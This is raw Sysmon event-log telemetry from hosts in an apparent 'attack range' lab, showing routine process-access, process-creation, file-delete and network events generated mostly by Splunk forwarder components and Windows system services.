14:46:35.674{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014269Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.674{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014268Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.674{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014267Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.674{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-6FCB-613B-A704-00000000F101}3024C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014266Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.674{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6FCB-613B-A704-00000000F101}3024C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014265Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.674{625C326B-6FCB-613B-A704-00000000F101}3024C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000014264Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.424{625C326B-6FCB-613B-A604-00000000F101}40483724C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014263Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.253{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E7F99D3E75F6F3DE203FD5CB4F9F32B6,SHA256=ACA34B7C54556F9E2FB072C35515C77C4A846C7827946432B238DF121F0F3E29,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014262Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.174{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6FCB-613B-A604-00000000F101}4048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014261Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014260Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014259Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014258Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014257Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014256Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014255Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014254Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014253Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014252Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.174{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-6FCB-613B-A604-00000000F101}4048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014251Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.174{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6FCB-613B-A604-00000000F101}4048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014250Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.174{625C326B-6FCB-613B-A604-00000000F101}4048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014249Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.127{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F6537D503ECB875975388DA4DBE0FA83,SHA256=B8DFEBDB9FDD4EA363B79EC4AEFFE3CA15291A92715DC0FA4FB1312AE62AFDDA,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:33.494{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59284-false10.0.1.12-8000- 23542300x800000000000000046102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:36.881{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BC5658780B6C78D19B3AAA7574350A40,SHA256=675F3BA552640E4249EF69EA0A3611FCDCCB65D268A32702AC5B1541170129EF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014293Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:36.705{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=0AEF9D4AE6BD113E1D46B960374FC95F,SHA256=BCAB7D948DAF681BFBB1AFE0149055C0FBDCF587FBFB6C5A0BE516D602C9259A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014292Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:36.517{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DC588051B0271626DE21C7C4385809CC,SHA256=F01615615C52957ED9767A2D9335F536213FE4D191164F0BF8F0F1DE1B5FD24F,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014291Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:36.345{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6FCC-613B-A804-00000000F101}3208C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014290Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:36.345{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014289Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:36.345{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014288Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:36.345{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014287Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 